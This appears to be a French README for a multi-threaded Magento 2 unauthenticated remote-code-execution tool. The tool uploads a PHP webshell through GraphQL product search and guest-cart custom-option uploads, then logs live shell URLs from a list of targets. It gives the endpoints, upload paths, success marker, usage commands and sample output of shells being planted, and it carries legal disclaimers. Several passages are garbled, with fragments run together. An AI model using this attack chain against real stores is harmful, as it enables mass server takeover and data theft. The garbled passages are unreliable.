
Exploit RCE non authentifié Magento 2 – Téléverse un webshell PHP via la recherche de produit GraphQL + les options personnalisées du panier invité. Multi‑threadé, détecte automatiquement le SKU et enregistre les URL des shells actifs dans up.txt. Pour tests de sécurité autorisés uniquement.
⚠️ Cet outil est destiné uniquement aux tests de sécurité éducatifs et autorisés. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire est illégale.
Cet exploit cible une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée dans Magento 2 (Adobe Commerce). En enchaînant la recherche de produit GraphQL, la création d'un panier invité et un téléversement de fichier malveillant via les options de produit personnalisées, un attaquant peut téléverser un webshell PHP et obtenir une exécution de code arbitraire sur le serveur cible.
La vulnérabilité permet à un attaquant distant d'écrire un fichier PHP sur le système de fichiers du serveur, puis d'y accéder pour exécuter des commandes système, lire/écrire des fichiers et compromettre entièrement l'installation Magento.
Shinday)up.txt/graphql./rest/default/V1/guest-carts pour obtenir un ID de panier./rest/default/V1/guest-carts/{cart_id}/items avec un webshell PHP encodé en base64 comme fichier d'option personnalisée./pub/media/custom_options/quote/... ou /media/custom_options/quote/....Shinday dans la réponse.up.txt.Queue, unicode et d'autres modules spécifiques à Python 2)requests, urllib3Installer les dépendances :
pip install requests urllib3
python exploit.py <list.txt>
<list.txt> – fichier contenant les URL de base des cibles (une par ligne), avec ou sans http:///https://.https://example.com
http://shop.test
magento2.target.net
up.txt dans le répertoire courant.python exploit.py targets.txt
[*] Total targets: 5
[*] Start time: 2025-03-15 12:00:00
[*] Starting 5 threads...
[Thread 1] Processing: https://example.com
[+] SKU : 24-WG080
[+] CART : 8f7c3e9a-1b2f-4d5e-9a8b-7c6d5e4f3a2b
[+] Upload Status : 200
[+] Webshell terpasang: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
[✓] Saved to up.txt: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
Le fichier PHP téléversé est un simple gestionnaire de fichiers (nommé comme xxxxx_shin.php) qui répond aux requêtes avec un explorateur de fichiers basé sur le web. Il contient le marqueur unique Shinday que le script utilise pour vérifier le succès du téléversement.
Ne laissez pas ce shell sur un système après les tests – nettoyez immédiatement.
/media/custom_options/ pour détecter les fichiers PHP inattendus.Ce logiciel est fourni uniquement à des fins éducatives et de tests de pénétration autorisés. Les auteurs ne sont pas responsables des mauvais usages ou des dommages causés par cet outil. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'exécuter cet exploit contre une cible. L'accès non autorisé à des systèmes informatiques est une infraction pénale dans la plupart des juridictions.
Avertissement supplémentaire : vous pouvez consulter l'avertissement sur la page de Jenderal92. Vous pouvez le vérifier ICI !!!